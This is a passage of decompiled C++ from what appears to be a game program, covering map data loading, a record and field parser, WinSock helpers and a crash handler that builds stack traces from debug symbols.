v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v11 = (void *)&v1->mdb_BinData.bdb_defaultblock; v1->mdb_index[*(_WORD *)v11] = (MapInfo *)v11; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v12 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v13 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v14 = (void *)&v1->mdb_BinData.bdb_defaultblock; v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_DWORD *)v16 = *(_DWORD *)((char *)v14 + 2); *((_DWORD *)v16 + 1) = *(_DWORD *)((char *)v14 + 6); *((_DWORD *)v16 + 2) = *(_DWORD *)((char *)v14 + 10); v16[12] = 0; v17 = *(_WORD *)v12; if ( !BTree::bt_Insert(&v1->mdb_btree, v16, *(_WORD *)v13) ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData : memory leak for BTree", v17); ShineExit("MapDataBox::mdb_Load"); } ++v3; } while ( (signed int)v3 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } } //----- (00566B70) -------------------------------------------------------- void __thiscall MapDataBox::MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mdb_BinData.baseclass_0); *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[8] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[4] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[0] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[8] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[4] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapFolderName.n3_name[0] = 0; memset((void *)&v1->mdb_BinData.bdb_defaultblock, 0, sizeof(v1->mdb_BinData.bdb_defaultblock)); BTree::BTree(&v1->mdb_btree); v1->mdb_index = 0; v1->mdb_maxmapid = 0; } //----- (00566BF0) -------------------------------------------------------- void __thiscall MapDataBox::_MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); CCharacterTitleData::_CCharacterTitleData(&v1->mdb_BinData.baseclass_0); } //----- (00566C60) -------------------------------------------------------- int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer) { __int16 v2; // ax@1 __int16 v3; // si@1 WSAData wsaData; // [sp+4h] [bp-194h]@1 LOBYTE(v2) = 0; HIBYTE(v2) = MinorVer; v3 = (unsigned __int8)MajorVer | v2; if ( WSAStartup((unsigned __int8)MajorVer | v2, &wsaData) ) return 0; if ( wsaData.wVersion != v3 ) { WSACleanup(); return 0; } return 1; } //----- (00566CE0) -------------------------------------------------------- char *__cdecl InetAddress::GetHostByName(char *name) { struct hostent *v1; // eax@1 char *result; // eax@2 v1 = gethostbyname(name); if ( v1 ) result = inet_ntoa(**(struct in_addr **)v1->h_addr_list); else result = 0; return result; } //----- (00566D00) -------------------------------------------------------- void __thiscall ORKeyList::_ORKeyList(ORKeyList *this) { _eh_vector_destructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00566D20) -------------------------------------------------------- void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec) { int v3; // eax@1 char *v4; // eax@2 v3 = this->okl_KeyNum; if ( v3 < 1024 ) { v4 = (char *)this + 24 * v3; *(_QWORD *)v4 = *(_QWORD *)&field->ort_Name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&field->ort_Name[8]; *((_DWORD *)v4 + 4) = *(_DWORD *)&field->ort_Name[16]; this->okl_Element[this->okl_KeyNum++].rec = rec; } } //----- (00566D70) -------------------------------------------------------- int __cdecl ORKeyList::okl_KeyCompare(const void *a, const void *b) { int v2; // edx@1 int v3; // esi@1 int result; // eax@5 v2 = *(_DWORD *)b; v3 = *(_DWORD *)a; if ( *(_DWORD *)b == *(_DWORD *)a && (v2 = *((_DWORD *)b + 1), v3 = *((_DWORD *)a + 1), v2 == v3) && (v2 = *((_DWORD *)b + 2), v3 = *((_DWORD *)a + 2), v2 == v3) && (v2 = *((_DWORD *)b + 3), v3 = *((_DWORD *)a + 3), v2 == v3) ) result = *((_DWORD *)b + 4) - *((_DWORD *)a + 4); else result = v2 - v3; return result; } //----- (00566DB0) -------------------------------------------------------- void __thiscall ORKeyList::ORKeyList(ORKeyList *this) { ORKeyList *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->okl_KeyNum = 0; } //----- (00566DE0) -------------------------------------------------------- char __thiscall ORKeyList::okl_Sorting(ORKeyList *this) { int v1; // eax@1 char result; // al@3 v1 = this->okl_KeyNum; if ( v1 && v1 < 1024 ) { qsort(this, v1, 0x18u, ORKeyList::okl_KeyCompare); result = 1; } else { result = 0; } return result; } //----- (00566E10) -------------------------------------------------------- ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index) { ORKeyList *v2; // esi@1 void *v3; // eax@1 ORRecord *result; // eax@2 ORToken indexkey; // [sp+8h] [bp-18h]@1 v2 = this; *(_QWORD *)&indexkey.ort_Name[12] = 0i64; *(_QWORD *)&indexkey.ort_Name[4] = 0i64; *(_DWORD *)&indexkey.ort_Name[0] = 0; strncpy(indexkey.ort_Name, index, 0x14u); v3 = bsearch(&indexkey, v2, v2->okl_KeyNum, 0x18u, ORKeyList::okl_KeyCompare); if ( v3 ) result = (ORRecord *)*((_DWORD *)v3 + 5); else result = 0; return result; } //----- (00566E90) -------------------------------------------------------- ORToken *__thiscall ORField::orf_ColumnName(ORField *this) { return ORColumnHeader::orch_GetColumnName(this->orf_Header); } //----- (00566EA0) -------------------------------------------------------- void __thiscall PacketContainer::pcb_SetSocketSession(ORField *this, ORColumnHeader *hd) { this->orf_Header = hd; } //----- (00566EB0) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token) { ORFieldIndex *v2; // esi@1 char *v3; // eax@1 char result; // al@2 ORToken *v5; // ST00_4@3 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = v2->orfi_Index; *(_DWORD *)&v5->ort_Name[16] = 0; *(_DWORD *)&v5->ort_Name[12] = 0; *(_DWORD *)&v5->ort_Name[8] = 0; *(_DWORD *)&v5->ort_Name[4] = 0; *(_DWORD *)&v5->ort_Name[0] = 0; strncpy(v5->ort_Name, v3, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read index data"); result = 0; } return result; } //----- (00566F00) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex) { ORToken *v3; // eax@1 v3 = this->orfi_Index; return *(_DWORD *)&contentindex->ort_Name[0] == *(_DWORD *)&v3->ort_Name[0] && *(_DWORD *)&contentindex->ort_Name[4] == *(_DWORD *)&v3->ort_Name[4] && *(_DWORD *)&contentindex->ort_Name[8] == *(_DWORD *)&v3->ort_Name[8] && *(_DWORD *)&contentindex->ort_Name[12] == *(_DWORD *)&v3->ort_Name[12] && *(_DWORD *)&contentindex->ort_Name[16] == *(_DWORD *)&v3->ort_Name[16]; } //----- (00566F40) -------------------------------------------------------- char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex) { char result; // al@2 if ( strcmp(this->orfs_String, contentstring) ) result = 0; else result = 1; return result; } //----- (00566F90) -------------------------------------------------------- char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token) { ORFieldByte *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 256 ) { *v2->orfb_Byte = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read byte data"); v4 = 0; } return v4; } //----- (00566FE0) -------------------------------------------------------- char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex) { ORFieldByte *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfb_Byte; } //----- (00567010) -------------------------------------------------------- char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token) { ORFieldWord *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 65536 ) { *v2->orfw_Word = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read word data"); v4 = 0; } return v4; } //----- (00567060) -------------------------------------------------------- char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex) { ORFieldWord *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfw_Word; } //----- (00567090) -------------------------------------------------------- void *__thiscall ORFieldDwrd::orf_GetBuffer(ORFieldDwrd *this) { return this->orfd_Dwrd; } //----- (005670A0) -------------------------------------------------------- int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt) { this->orfd_Dwrd = (unsigned int *)pnt; return (int)ORErrorMessage::orem_GetMessage((ORErrorMessage *)this->baseclass_0.orf_Header); } //----- (005670C0) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token) { ORFieldDwrd *v2; // esi@1 int v3; // eax@1 char v4; // al@2 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result ) { *v2->orfd_Dwrd = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read dwrd data"); v4 = 0; } return v4; } //----- (00567110) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex) { ORFieldDwrd *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == *(char **)v3->orfd_Dwrd; } //----- (00567140) -------------------------------------------------------- void __thiscall ORRecord::ORRecord(ORRecord *this) { this->orr_Buffer = 0; memset(this, 0, 0x800u); } //----- (00567160) -------------------------------------------------------- void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec) { memcpy(this, rec, 0x808u); memset(rec, 0, 0x800u); rec->orr_Buffer = 0; } //----- (00567190) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this) { return this->orr_Buffer; } //----- (005671A0) -------------------------------------------------------- void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength) { ORRecord *v2; // esi@1 v2 = this; this->orr_Buffer = (char *)operator new(recorelength); v2->orr_Pointer = 0; } //----- (005671D0) -------------------------------------------------------- void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell) { this->orr_Pointer += ((int (__stdcall *)(_DWORD))cell->vfptr->orf_Alloc)(&this->orr_Buffer[this->orr_Pointer]); } //----- (00567200) -------------------------------------------------------- ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type) { ORRecord *v3; // edi@1 signed int v4; // esi@1 ORField *result; // eax@4 v3 = this; v4 = 0; while ( this->orr_FieldArray[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldIndex::_vftable_; v3->orr_FieldArray[v4] = result; break; case 2u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldString::_vftable_; v3->orr_FieldArray[v4] = result; break; case 3u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldByte::_vftable_; v3->orr_FieldArray[v4] = result; break; case 4u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldWord::_vftable_; v3->orr_FieldArray[v4] = result; break; case 5u: result = (ORField *)operator new(0xCu); if ( !result ) { LABEL_16: v3->orr_FieldArray[v4] = 0; goto LABEL_17; } result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldDwrd::_vftable_; v3->orr_FieldArray[v4] = result; break; default: LABEL_17: result = v3->orr_FieldArray[v4]; break; } return result; } // 5E7B44: using guessed type int (__stdcall *ORFieldIndex___vftable_)(int contentstring, int contentindex); // 5E7B70: using guessed type int (__stdcall *ORFieldString___vftable_)(int contentstring, int contentindex); // 5E7B84: using guessed type int (__stdcall *ORFieldByte___vftable_)(int contentstring, int num); // 5E7BB0: using guessed type int (__stdcall *ORFieldWord___vftable_)(int contentstring, int num); // 5E7BDC: using guessed type int (__stdcall *ORFieldDwrd___vftable_)(int contentstring, int num); //----- (00567310) -------------------------------------------------------- char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token) { ORFieldString *v2; // esi@1 char *v3; // ebx@1 char result; // al@2 unsigned __int16 v5; // ax@3 void *v6; // edi@3 unsigned int v7; // ecx@3 int v8; // edi@3 int i; // ecx@3 size_t v10; // eax@6 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = (unsigned int)ORErrorMessage::orem_GetMessage((ORErrorMessage *)v2->baseclass_0.orf_Header); v6 = v2->orfs_String; v7 = (unsigned int)v5 >> 2; memset(v6, 0, 4 * v7); v8 = (int)((char *)v6 + 4 * v7); for ( i = v5 & 3; i; --i ) *(_BYTE *)v8++ = 0; v10 = (size_t)ORErrorMessage::orem_GetMessage((ORErrorMessage *)v2->baseclass_0.orf_Header); strncpy(v2->orfs_String, v3, v10); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read string data"); result = 0; } return result; } //----- (00567380) -------------------------------------------------------- void __thiscall ORRecord::_ORRecord(ORRecord *this) { ORRecord *v1; // edi@1 signed int v2; // esi@3 ORField *v3; // eax@4 void *v4; // ST00_4@5 v1 = this; if ( this->orr_Buffer ) operator delete(this->orr_Buffer); v2 = 0; do { v3 = v1->orr_FieldArray[v2]; if ( v3 ) { v4 = v1->orr_FieldArray[v2]; v3->vfptr = (ORFieldVtbl *)ORField::_vftable_; operator delete(v4); } ++v2; } while ( v2 < 512 ); } // 5E7B30: using guessed type int (*ORField___vftable_[5])(); //----- (005673D0) -------------------------------------------------------- void __cdecl FillInStackFrame(_CONTEXT *pCtx) { memset(&s_stFrame, 0, sizeof(s_stFrame)); LODWORD(s_stFrame.AddrPC.Offset) = pCtx->Eip; s_stFrame.AddrPC.Offset = (unsigned int)s_stFrame.AddrPC.Offset; s_stFrame.AddrPC.Mode = 3; LODWORD(s_stFrame.AddrStack.Offset) = pCtx->Esp; s_stFrame.AddrStack.Offset = LODWORD(s_stFrame.AddrStack.Offset); s_stFrame.AddrStack.Mode = 3; LODWORD(s_stFrame.AddrFrame.Offset) = pCtx->Ebp; s_stFrame.AddrFrame.Offset = LODWORD(s_stFrame.AddrFrame.Offset); s_stFrame.AddrFrame.Mode = 3; } //----- (00567440) -------------------------------------------------------- int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead) { HANDLE v5; // eax@1 v5 = GetCurrentProcess(); return ReadProcessMemory(v5, (LPCVOID)qwBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); } //----- (00567470) -------------------------------------------------------- const char *__cdecl EHConvertSimpleException(unsigned int dwExcept) { const char *result; // eax@9 if ( dwExcept > 0xC000008D ) { if ( dwExcept > 0xC00000FD ) { if ( dwExcept != -529697949 ) return 0; result = "Microsoft C++ Exception"; } else { if ( dwExcept == -1073741571 ) { result = "EXCEPTION_STACK_OVERFLOW"; } else { switch ( dwExcept ) { case 0xC000008Eu: result = "EXCEPTION_FLT_DIVIDE_BY_ZERO"; break; case 0xC000008Fu: result = "EXCEPTION_FLT_INEXACT_RESULT"; break; case 0xC0000090u: result = "EXCEPTION_FLT_INVALID_OPERATION"; break; case 0xC0000091u: result = "EXCEPTION_FLT_OVERFLOW"; break; case 0xC0000092u: result = "EXCEPTION_FLT_STACK_CHECK"; break; case 0xC0000093u: result = "EXCEPTION_FLT_UNDERFLOW"; break; case 0xC0000094u: result = "EXCEPTION_INT_DIVIDE_BY_ZERO"; break; case 0xC0000095u: result = "EXCEPTION_INT_OVERFLOW"; break; case 0xC0000096u: result = "EXCEPTION_PRIV_INSTRUCTION"; break; default: return 0; } } } } else { if ( dwExcept == -1073741683 ) return "EXCEPTION_FLT_DENORMAL_OPERAND"; if ( dwExcept <= 0xC0000006 ) { if ( dwExcept == -1073741818 ) return "EXCEPTION_IN_PAGE_ERROR"; if ( dwExcept > 0x80000003 ) { if ( dwExcept == -2147483644 ) return "EXCEPTION_SINGLE_STEP"; if ( dwExcept == -1073741819 ) return "EXCEPTION_ACCESS_VIOLATION"; } else { if ( dwExcept == -2147483645 ) return "EXCEPTION_BREAKPOINT"; if ( dwExcept == -2147483647 ) return "EXCEPTION_GUARD_PAGE"; if ( dwExcept == -2147483646 ) return "EXCEPTION_DATATYPE_MISALIGNMENT"; } return 0; } switch ( dwExcept + 1073741816 ) { case 0x84u: result = "EXCEPTION_ARRAY_BOUNDS_EXCEEDED"; break; case 0x15u: result = "EXCEPTION_ILLEGAL_INSTRUCTION"; break; case 0x1Du: result = "EXCEPTION_NONCONTINUABLE_EXCEPTION"; break; case 0x1Eu: result = "EXCEPTION_INVALID_DISPOSITION"; break; case 0u: result = "EXCEPTION_INVALID_HANDLE"; break; default: return 0; } } return result; } //----- (00567650) -------------------------------------------------------- int __cdecl EHInitSymbolEngine() { int result; // eax@1 DWORD v1; // eax@2 HANDLE v2; // eax@2 result = s_bSymEngInit; if ( !s_bSymEngInit ) { v1 = SymGetOptions(); SymSetOptions(v1 | 0x10); v2 = GetCurrentProcess(); result = SymInitialize(v2, 0, 1); s_bSymEngInit = result; } return result; } //----- (00567680) -------------------------------------------------------- void __cdecl EHCleanupSymbolEngine() { HANDLE v0; // eax@2 if ( s_bSymEngInit == 1 ) { v0 = GetCurrentProcess(); SymCleanup(v0); s_bSymEngInit = 0; } } //----- (005676B0) -------------------------------------------------------- const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts) { int v1; // eax@0 int v2; // ebx@0 int v3; // edi@0 int v4; // esi@0 HANDLE v5; // eax@1 HANDLE v6; // eax@3 __int64 v7; // qax@3 HINSTANCE__ *v8; // edi@3 int v9; // esi@4 int v10; // eax@8 int v11; // eax@9 int v12; // edx@9 char *v13; // edi@9 char v14; // cl@10 int v15; // edx@11 char v16; // cl@12 HANDLE v17; // eax@15 const char *result; // eax@19 int v19; // eax@21 HANDLE v20; // eax@25 int v21; // [sp-Ch] [bp-58h]@1 int v22; // [sp-8h] [bp-54h]@1 int v23; // [sp-4h] [bp-50h]@1 __int64 dwModBase; // [sp+0h] [bp-4Ch]@3 unsigned __int64 dwDisp; // [sp+8h] [bp-44h]@15 int v26; // [sp+10h] [bp-3Ch]@28 int iLen; // [sp+14h] [bp-38h]@18 _IMAGEHLP_SYMBOL64 *pSym; // [sp+18h] [bp-34h]@15 DWORD iLength; // [sp+1Ch] [bp-30h]@7 unsigned __int64 bSWRet; // [sp+20h] [bp-2Ch]@1 unsigned __int64 pchBaseName; // [sp+28h] [bp-24h]@1 unsigned __int64 iCurr; // [sp+30h] [bp-1Ch]@1 unsigned __int64 v33; // [sp+38h] [bp-14h]@1 int (__cdecl *v34)(int, _EH3_EXCEPTION_REGISTRATION *, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v35; // [sp+44h] [bp-8h]@1 int v36; // [sp+48h] [bp-4h]@1 v35 = &unk_5E7F28; v34 = _except_handler3; HIDWORD(v33) = v1; v23 = v2; v22 = v4; v21 = v3; HIDWORD(iCurr) = &v21; v36 = 0; EHInitSymbolEngine(); v33 = (unsigned int)SymGetModuleBase64; HIDWORD(iCurr) = SymFunctionTableAccess64; LODWORD(iCurr) = CH_ReadProcessMemory; HIDWORD(pchBaseName) = &s_stContext; LODWORD(pchBaseName) = &s_stFrame; HIDWORD(bSWRet) = GetCurrentThread(); v5 = GetCurrentProcess(); LODWORD(bSWRet) = StackWalk64( 0x14Cu, v5, HIDWORD(bSWRet), (LPSTACKFRAME64)pchBaseName, HIDWORD(pchBaseName), (PREAD_PROCESS_MEMORY_ROUTINE64)iCurr, HIDWORD(iCurr), (PGET_MODULE_BASE_ROUTINE64)v33, HIDWORD(v33)); if ( (_DWORD)bSWRet ) { if ( s_stFrame.AddrFrame.Offset ) { v33 = s_stFrame.AddrPC.Offset; v6 = GetCurrentProcess(); LODWORD(v7) = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v6, v33, HIDWORD(v33)); v8 = (HINSTANCE__ *)v7; dwModBase = v7; if ( v7 ) { v33 = s_stFrame.AddrPC.Offset; HIDWORD(iCurr) = s_stContext.SegCs; v9 = _wsprintfA(s_szBuff, "%04X:%08X", s_stContext.SegCs, s_stFrame.AddrPC.Offset); LODWORD(iCurr) = v9; if ( (dwOpts & 1) == 1 ) { v33 = s_stFrame.Params[3]; iCurr = s_stFrame.Params[2]; pchBaseName = s_stFrame.Params[1]; bSWRet = s_stFrame.Params[0]; v9 += _wsprintfA( &s_szBuff[v9], " (0x%08X 0x%08X 0x%08X 0x%08X)", s_stFrame.Params[0], s_stFrame.Params[1], s_stFrame.Params[2], s_stFrame.Params[3]); LODWORD(iCurr) = v9; } if ( (dwOpts & 2) == 2 ) { v9 += _wsprintfA(&s_szBuff[v9], ", "); LODWORD(iCurr) = v9; iLength = GetModuleFileNameA(v8, s_szFName, 0x800u); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); LODWORD(pchBaseName) = v10; if ( v10 ) { v11 = v10 + 1; LODWORD(pchBaseName) = v11; v12 = v11; v13 = &s_szBuff[v9]; do { v14 = *(_BYTE *)v12; *v13++ = *(_BYTE *)v12++; } while ( v14 ); v15 = v11 + 1; do v16 = *(_BYTE *)v11++; while ( v16 ); v9 += _wsprintfA(&s_szBuff[v11 - v15] + v9, ", ") + v11 - v15; LODWORD(iCurr) = v9; } } } if ( (dwOpts & 4) == 4 ) { pSym = &s_stSymbol; memset(&s_stSymbol, 0, 0x400u); s_stSymbol.SizeOfStruct = 32; s_stSymbol.MaxNameLength = 992; s_stSymbol.Address = s_stFrame.AddrPC.Offset; HIDWORD(v33) = &s_stSymbol; LODWORD(v33) = &dwDisp; iCurr = s_stFrame.AddrPC.Offset; v17 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v17, iCurr, (PDWORD64)v33, HIDWORD(v33)) != 1 ) { LABEL_33: result = s_szBuff; HIDWORD(pchBaseName) = s_szBuff; return result; } if ( dwOpts & 0xFFFFFFFB ) { v9 += _wsprintfA(&s_szBuff[v9], (LPCSTR)&stru_5A4E3C); LODWORD(iCurr) = v9; } iLen = lstrlenA(s_stSymbol.Name); if ( iLen > 1486 - v9 ) { lstrcpynA(&s_szBuff[v9], s_stSymbol.Name, 2047 - v9); result = s_szBuff; HIDWORD(pchBaseName) = s_szBuff; return result; } if ( dwDisp ) { v33 = dwDisp; HIDWORD(iCurr) = 342648788; v19 = _wsprintfA(&s_szBuff[v9], " %s()+%04d byte(s)", 342648788, dwDisp); } else { HIDWORD(v33) = 342648788; v19 = _wsprintfA(&s_szBuff[v9], " %s ", 342648788); } v9 += v19; LODWORD(iCurr) = v9; } if ( (dwOpts & 8) == 8 ) { s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; HIDWORD(v33) = &s_stLine; LODWORD(v33) = (char *)&bSWRet + 4; iCurr = s_stFrame.AddrPC.Offset; v20 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v20, iCurr, (PDWORD)v33, HIDWORD(v33)) == 1 ) { if ( dwOpts & 0xFFFFFFF7 ) { v9 += _wsprintfA(&s_szBuff[v9], ","); LODWORD(iCurr) = v9; } v26 = lstrlenA(s_stLine.FileName); if ( v26 > 1738 - v9 ) { lstrcpynA(&s_szBuff[v9], s_stLine.FileName, 2047 - v9); result = s_szBuff; HIDWORD(pchBaseName) = s_szBuff; return result; } if ( HIDWORD(bSWRet) ) { v33 = __PAIR__(HIDWORD(bSWRet), s_stLine.LineNumber); HIDWORD(iCurr) = s_stLine.FileName; LODWORD(iCurr) = _wsprintfA( &s_szBuff[v9], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, HIDWORD(bSWRet)) + v9; result = s_szBuff; HIDWORD(pchBaseName) = s_szBuff; return result; } v33 = __PAIR__(s_stLine.LineNumber, (unsigned int)s_stLine.FileName); LODWORD(iCurr) = _wsprintfA(&s_szBuff[v9], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v9; } } goto LABEL_33; } } } return 0; } // 5A2290: invalid function type has been ignored // 5676B0: could not find valid save-restore pair for edi // 5676B0: could not find valid save-restore pair for esi //----- (00567AD0) -------------------------------------------------------- const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs) { int v1; // eax@0 int v2; // ebx@0 const char *result; // eax@2 int v4; // esi@3 HINSTANCE__ *v5; // eax@3 void *v6; // eax@4 void *v7; // eax@5 void *v8; // edx@5 char *v9; // ebx@5 char v10; // cl@6 int v11; // edx@7 char v12; // cl@8 int v13; // esi@10 const char *v14; // edi@10 int v15; // esi@10 unsigned int v16; // eax@12 HMODULE v17; // eax@13 int v18; // esi@14 int v19; // esi@14 HANDLE v20; // eax@14 __int64 v21; // qax@14 int v22; // eax@15 int v23; // eax@17 const char *v24; // edi@18 int v25; // edx@18 char *v26; // eax@18 char v27; // cl@19 int v28; // esi@22 int v29; // esi@22 HANDLE v30; // eax@22 int v31; // esi@23 int v32; // eax@26 int v33; // esi@28 HANDLE v34; // eax@28 int v35; // esi@29 int v36; // [sp-Ch] [bp-58h]@1 int v37; // [sp-4h] [bp-50h]@1 unsigned __int64 dwDisp; // [sp+0h] [bp-4Ch]@22 __int64 dwTemp; // [sp+8h] [bp-44h]@10 int v40; // [sp+10h] [bp-3Ch]@29 int iLen; // [sp+14h] [bp-38h]@23 _IMAGEHLP_SYMBOL64 *pSym; // [sp+18h] [bp-34h]@22 unsigned int dwLineDisp; // [sp+1Ch] [bp-30h]@28 int v44; // [sp+20h] [bp-2Ch]@17 DWORD iLength; // [sp+24h] [bp-28h]@3 void *pchBaseName; // [sp+28h] [bp-24h]@4 DWORD szRet; // [sp+2Ch] [bp-20h]@13 DWORD64 iCurr; // [sp+30h] [bp-1Ch]@1 unsigned __int64 v49; // [sp+38h] [bp-14h]@1 int (__cdecl *v50)(int, _EH3_EXCEPTION_REGISTRATION *, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v51; // [sp+44h] [bp-8h]@1 int v52; // [sp+48h] [bp-4h]@1 v52 = -1; v51 = &unk_5E7FB0; v50 = _except_handler3; HIDWORD(v49) = v1; v37 = v2; HIDWORD(iCurr) = &v36; if ( IsBadReadPtr(pExPtrs, 8u) == 1 ) { OutputDebugStringA("Bad parameter to GetFaultReason\n"); return 0; } v4 = 0; v52 = 0; EHInitSymbolEngine(); LODWORD(iCurr) = 0; HIDWORD(v49) = 2048; LODWORD(v49) = s_szFName; v5 = GetModuleHandleA(0); iLength = GetModuleFileNameA(v5, (LPSTR)v49, HIDWORD(v49)); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); pchBaseName = v6; if ( v6 ) { v7 = (char *)v6 + 1; pchBaseName = v7; v8 = v7; v9 = s_szBuff; do { v10 = *(_BYTE *)v8; *v9 = *(_BYTE *)v8; v8 = (char *)v8 + 1; ++v9; } while ( v10 ); v11 = (int)((char *)v7 + 1); do { v12 = *(_BYTE *)v7; v7 = (char *)v7 + 1; } while ( v12 ); v4 = (int)((char *)v7 - v11); LODWORD(iCurr) = (char *)v7 - v11; } } v13 = _wsprintfA(&s_szBuff[v4], " caused an: ") + v4; LODWORD(iCurr) = v13; HIDWORD(iCurr) = pExPtrs->ExceptionRecord->ExceptionCode; v14 = EHConvertSimpleException(HIDWORD(iCurr)); dwTemp = (unsigned int)v14; v15 = _wsprintfA(&s_szBuff[v13], "< ", HIDWORD(iCurr), v49) + v13; LODWORD(iCurr) = v15; if ( v14 || HIDWORD(dwTemp) ) { v49 = 